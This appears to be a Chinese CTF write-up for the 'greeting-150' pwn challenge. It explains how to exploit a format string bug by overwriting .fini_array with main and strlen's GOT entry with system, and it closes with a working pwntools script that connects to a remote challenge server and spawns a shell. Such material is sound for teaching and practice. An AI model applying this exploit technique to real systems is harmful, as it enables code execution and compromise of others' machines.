0%

greeting-150

分析过程

  1. 拿到题目,可以看到程序用getnline获取输入,把获取的输入传递给sprintf,之后直接用printf将输入的值给输出,存在格式化字符串漏洞
  2. 接下来就是尝试利用这个格式化字符串漏洞,
  • hijack got表(失败),发现call printf之后程序会调用的函数只有___stack_chk_fail,getnline只会拿取用户输入的64个字符,因此无法通过栈溢出来来触发该函数
  • hijack retaddr(失败)需要程序调用两次printf,分别用来获得函数的 rbp 与返回地址,根据相对偏移获取存储返回地址的地址,但是本程序只会调用一次printf
  1. 总结思路:我们要作的是把payload控制在64字符之内,且需要重复调用main实现多次任意地址写(覆盖fini_array为main,覆盖strlen为system)
  • 为了程序调用两次printf,我们覆盖fini_array数组中的do_global_dtors_aux为main,使最后程序执行完毕后执行libc_csu_fini时再次调用main函数
  • 覆盖hijack got表,把strlen覆盖为system(getnline函数中在调用strlen之前会通过_fgets获取用户输入并把用户输入拷贝在esp上,此时把strlen替换为system相当于直接执行用户的输入)
  • 尝试fmtstr_payload来构造payload发现pwntool会利用%xxc%152c%13$hhn来构造而hhn一次只会向某个地址写入单字节,导致payload过长,因此只能用$hn来构造。而且strlen和fini地址高位都是0x0804,可以放在一起写入来缩减payload
  • 最后构造出的payload 长度为60<64

4.exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

main = 0x080485ed
fini = 0x08049934
system = 0x08048490
strlen = 0x8049a54
#p = process('greeting')
p = remote('159.138.137.79',64097)


#payload=b"aa"+fmtstr_payload(12,{fini:main})
#payload=b"aa"+fmtstr_payload(12,{fini:main,strlen:system})
payload=b"aa"+p32(0x08049936)+p32(0x08049a56)+p32(0x08049a54)+p32(0x08049934)+b'%2016x%12$hn%13$hn'+b'%31884x%14$hn%349x%15$hn'
print (p.recvuntil('... '))
print(len(payload))
log.info('payload ==>%s',payload)
#a=input('a:')
p.sendline(payload)
print (p.recvuntil('... '))
p.sendline('sh')
p.sendline('cat flag')

p.interactive()

ref

只有一次任意地址写,通过修改.fini_array段,利用__libc_csu_fini函数性质构造循环调用main函数,并溢出检查字段绕,变成多次任意地址写
https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/

https://www.freebuf.com/articles/system/226003.html